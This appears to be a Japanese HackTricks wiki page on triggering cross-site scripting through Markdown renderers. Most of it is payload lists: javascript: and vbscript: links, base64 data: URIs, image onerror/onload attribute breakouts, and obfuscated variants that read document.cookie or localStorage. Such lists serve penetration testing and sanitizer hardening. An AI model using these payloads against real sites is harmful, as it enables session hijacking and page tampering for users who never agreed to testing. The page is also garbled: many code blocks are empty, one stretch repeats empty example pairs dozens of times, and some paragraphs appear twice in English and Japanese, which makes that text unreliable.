# XSS in Markdown
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 * あなたは**サイバーセキュリティ会社**で働いていますか? HackTricksであなたの**会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! * [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください、私たちの独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクション * [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう * [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で私を**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** * **ハッキングのトリックを共有するために、PRを[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)に提出してください**。
もしマークダウンにコードを注入する機会がある場合、コードが解釈される際にXSSをトリガーするために使用できるいくつかのオプションがあります。 ### HTMLタグ マークダウンでXSSを取得する最も一般的な方法は、javascriptを実行する一般的なHTMLタグを注入することです。なぜなら、いくつかのマークダウンインタプリタはHTMLも受け入れるからです。 ```html ``` [メインのXSSページ](./)には、さらに多くの例があります。 ### JavaScriptリンク HTMLタグが選択肢にない場合は、常にMarkdownの構文を使って試してみることができます: ```html [a](javascript:prompt(document.cookie)) [Basic](javascript:alert('Basic')) [Local Storage](javascript:alert(JSON.stringify(localStorage))) [CaseInsensitive](JaVaScRiPt:alert('CaseInsensitive')) [URL](javascript://www.google.com%0Aalert('URL')) [In Quotes]('javascript:alert("InQuotes")') [a](j a v a s c r i p t:prompt(document.cookie)) [a](data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K) [a](javascript:window.onerror=alert;throw%201) ``` ### Img イベント構文の乱用 The `img` tag in HTML allows the inclusion of images in a webpage. It also supports various attributes, including the `onerror` attribute, which is triggered when an error occurs while loading the image. This attribute can be abused to execute arbitrary JavaScript code. HTMLの`img`タグは、ウェブページに画像を含めるために使用されます。また、`onerror`属性など、さまざまな属性もサポートしています。`onerror`属性は、画像の読み込み中にエラーが発生した場合にトリガーされ、任意のJavaScriptコードを実行するために悪用されることがあります。 To exploit this, an attacker can inject malicious JavaScript code into the `src` attribute of the `img` tag. When the image fails to load, the `onerror` event is triggered, executing the injected code. 攻撃者は、悪意のあるJavaScriptコードを`img`タグの`src`属性に注入することで、これを悪用することができます。画像の読み込みに失敗すると、`onerror`イベントがトリガーされ、注入されたコードが実行されます。 Here is an example of an XSS payload using the `onerror` attribute: 以下は、`onerror`属性を使用したXSSペイロードの例です。 ```html ``` In this example, when the image `nonexistent-image.jpg` fails to load, the `onerror` event is triggered, and an alert box with the message "XSS" is displayed. この例では、画像`nonexistent-image.jpg`の読み込みに失敗すると、`onerror`イベントがトリガーされ、メッセージ「XSS」を含むアラートボックスが表示されます。 This technique can be used to perform various malicious actions, such as stealing user cookies, redirecting users to malicious websites, or defacing the webpage. この技術は、ユーザーのクッキーを盗む、ユーザーを悪意のあるウェブサイトにリダイレクトする、ウェブページを改ざんするなど、さまざまな悪意のある行動に使用することができます。 ```markdown ![Uh oh...]("onerror="alert('XSS')) ![Uh oh...](https://www.example.com/image.png"onload="alert('XSS')) ![Escape SRC - onload](https://www.example.com/image.png"onload="alert('ImageOnLoad')) ![Escape SRC - onerror]("onerror="alert('ImageOnError')) ``` ### HTMLサニタイザーマークダウンバイパス 以下のコードは、HTML入力を**サニタイズ**してから**マークダウンパーサーに渡しています**。その後、MarkdownとDOMPurifyの間の誤解釈を悪用してXSSをトリガーすることができます。 ```html ``` ペイロードの例: ```markdown ``` ```html ``` ```markdown ``` ```html ``` ```markdown [Click me](javascript:alert('XSS')) ``` ```html Click me ``` ```markdown [Click me](javascript:alert('XSS')) ``` ```html Click me ``` ```markdown ![Image](javascript:alert('XSS')) ``` ```html Image ``` ```markdown ![Image](javascript:alert('XSS')) ``` ```html Image ``` ```markdown ``` ```html ``` ```markdown ``` ```html ``` ```markdown ``` ```html ``` ```markdown ``` ```html ``` ```markdown ``` ```html ``` ```markdown ``` ```html ``` ```markdown ``` ```html ``` ```markdown ``` ```html ``` ```markdown Click me ``` ```html Click me ``` ```markdown Click me ``` ```html Click me ``` ```markdown Image ``` ```html Image ``` ```markdown Image ``` ```html Image ``` ```markdown ``` ```html ``` ```markdown ``` ```html ``` ```markdown ``` ```html ``` ```markdown ``` ```html ``` ```markdown ``` ```html ``` ```markdown ``` ```html ``` ```markdown ``` ```html ``` ```markdown ``` ```html ``` ```markdown Click me ``` ```html Click me ``` ```markdown Click me ``` ```html Click me ``` ```markdown Image ``` ```html Image ``` ```markdown Image ``` ```html Image ``` ```markdown ``` ```html ``` ```markdown ``` ```html ``` ```markdown ``` ```html ``` ```markdown ``` ```html ``` ```markdown ``` ```html ``` ```markdown ``` ```html ``` ```markdown ``` ```html ``` ```markdown ``` ```html ``` ```markdown Click me ``` ```html Click me ``` ```markdown Click me ``` ```html Click me ``` ```markdown Image ``` ```html Image ``` ```markdown Image ``` ```html Image ``` ```markdown ``` ```html ``` ```markdown ``` ```html ``` ```markdown ``` ```html ``` ```markdown ``` ```html ``` ```markdown ``` ```html ``` ```markdown ``` ```html ``` ```markdown ``` ```html ``` ```markdown ``` ```html ``` ```markdown Click me ``` ```html Click me ``` ```markdown Click me ``` ```html Click me ``` ```markdown Image ``` ```html Image ``` ```markdown Image ``` ```html Image ``` ```markdown ``` ```html ``` ```markdown ``` ```html ``` ```markdown ``` ```html ``` ```markdown ``` ```html ``` ```markdown ``` ```html ``` ```markdown ``` ```html ``` ```markdown ``` ```html ``` ```markdown ``` ```html ``` ```markdown Click me ``` ```html Click me ``` ```markdown Click me ``` ```html Click me ``` ```markdown Image ``` ```html Image ``` ```markdown Image ``` ```html Image ``` ```markdown ``` ```html ``` ```markdown ``` ```html ``` ```markdown ``` ```html ----------------------------------------------- yep ------------------------------------------------ [x](y '"> ---------------------------------------------- [

) ---------------------------------------------- `

``` ### ファジング Fuzzing(ファジング)は、アプリケーションやシステムのセキュリティテスト手法の一つです。ファジングは、ランダムなデータや不正なデータを入力として、アプリケーションやシステムの挙動をテストすることを目的としています。ファジングは、アプリケーションやシステムが予期しない挙動を示す可能性がある場合に特に有効です。 ファジングは、セキュリティ上の脆弱性を特定するために使用されます。ファジングは、入力データに対して異常な振る舞いを引き起こす可能性のある特定のパターンや条件を特定することができます。これにより、攻撃者がアプリケーションやシステムに悪意のあるコードを注入するなどの攻撃を行うための脆弱性が明らかになります。 ファジングは、自動化されたツールを使用して実行することができます。これにより、大量のデータを効率的にテストすることができます。ファジングは、アプリケーションやシステムのセキュリティを向上させるために、定期的に実施することが推奨されています。 ファジングは、アプリケーションやシステムのセキュリティテストにおいて重要な手法の一つです。ファジングを使用することで、潜在的な脆弱性を特定し、それに対する適切な対策を講じることができます。 ```html [a](javascript:prompt(document.cookie)) [a](j a v a s c r i p t:prompt(document.cookie)) ![a](javascript:prompt(document.cookie))\ <javascript:alert('XSS')> ![a](data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K)\ [a](data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K) [a](javascript:alert('XSS')) ![a'"`onerror=prompt(document.cookie)](x)\ [citelol]: (javascript:prompt(document.cookie)) [notmalicious](javascript:window.onerror=alert;throw%20document.cookie) [test](javascript://%0d%0aprompt(1)) [test](javascript://%0d%0aprompt(1);com) [notmalicious](javascript:window.onerror=alert;throw%20document.cookie) [notmalicious](javascript://%0d%0awindow.onerror=alert;throw%20document.cookie) [a](data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K) [clickme](vbscript:alert(document.domain)) _http://danlec_@.1 style=background-image:url(data:image/png;base64,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);background-repeat:no-repeat;display:block;width:100%;height:100px; onclick=alert(unescape(/Oh%20No!/.source));return(false);// > [text](http://danlec.com " [@danlec](/danlec) ") [a](javascript:this;alert(1)) [a](javascript:this;alert(1)) [a](javascript:this;alert(1)) [a](Javascript:alert(1)) [a](Javas%26%2399;ript:alert(1)) [a](javascript:alert￾(1)) [a](javascript:confirm(1) [a](javascript://www.google.com%0Aprompt(1)) [a](javascript://%0d%0aconfirm(1);com) [a](javascript:window.onerror=confirm;throw%201) [a](javascript:alert(document.domain)) [a](javascript://www.google.com%0Aalert(1)) [a]('javascript:alert("1")') [a](JaVaScRiPt:alert(1)) ![a](https://www.google.com/image.png"onload="alert(1)) ![a]("onerror="alert(1)) <\h1\>confirm(2) [XSS](.alert(1);) [ ](https://a.de?p=[[/data-x=. style=background-color:#000000;z-index:999;width:100%;position:fixed;top:0;left:0;right:0;bottom:0; data-y=.]]) [ ](http://a?p=[[/onclick=alert(0) .]]) [a](javascript:new%20Function`al\ert\`1\``;) [XSS](javascript:prompt(document.cookie)) [XSS](j a v a s c r i p t:prompt(document.cookie)) [XSS](data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K) [XSS](javascript:alert('XSS')) [XSS]: (javascript:prompt(document.cookie)) [XSS](javascript:window.onerror=alert;throw%20document.cookie) [XSS](javascript://%0d%0aprompt(1)) [XSS](javascript://%0d%0aprompt(1);com) [XSS](javascript:window.onerror=alert;throw%20document.cookie) [XSS](javascript://%0d%0awindow.onerror=alert;throw%20document.cookie) [XSS](data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K) [XSS](vbscript:alert(document.domain)) [XSS](javascript:this;alert(1)) [XSS](javascript:this;alert(1)) [XSS](javascript:this;alert(1)) [XSS](Javascript:alert(1)) [XSS](Javas%26%2399;ript:alert(1)) [XSS](javascript:alert￾(1)) [XSS](javascript:confirm(1) [XSS](javascript://www.google.com%0Aprompt(1)) [XSS](javascript://%0d%0aconfirm(1);com) [XSS](javascript:window.onerror=confirm;throw%201) [XSS](�javascript:alert(document.domain)) ![XSS](javascript:prompt(document.cookie))\ ![XSS](data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K)\ ![XSS'"`onerror=prompt(document.cookie)](x)\ ```
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 * **サイバーセキュリティ会社**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! * [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 * [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 * [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で私を**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** * **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。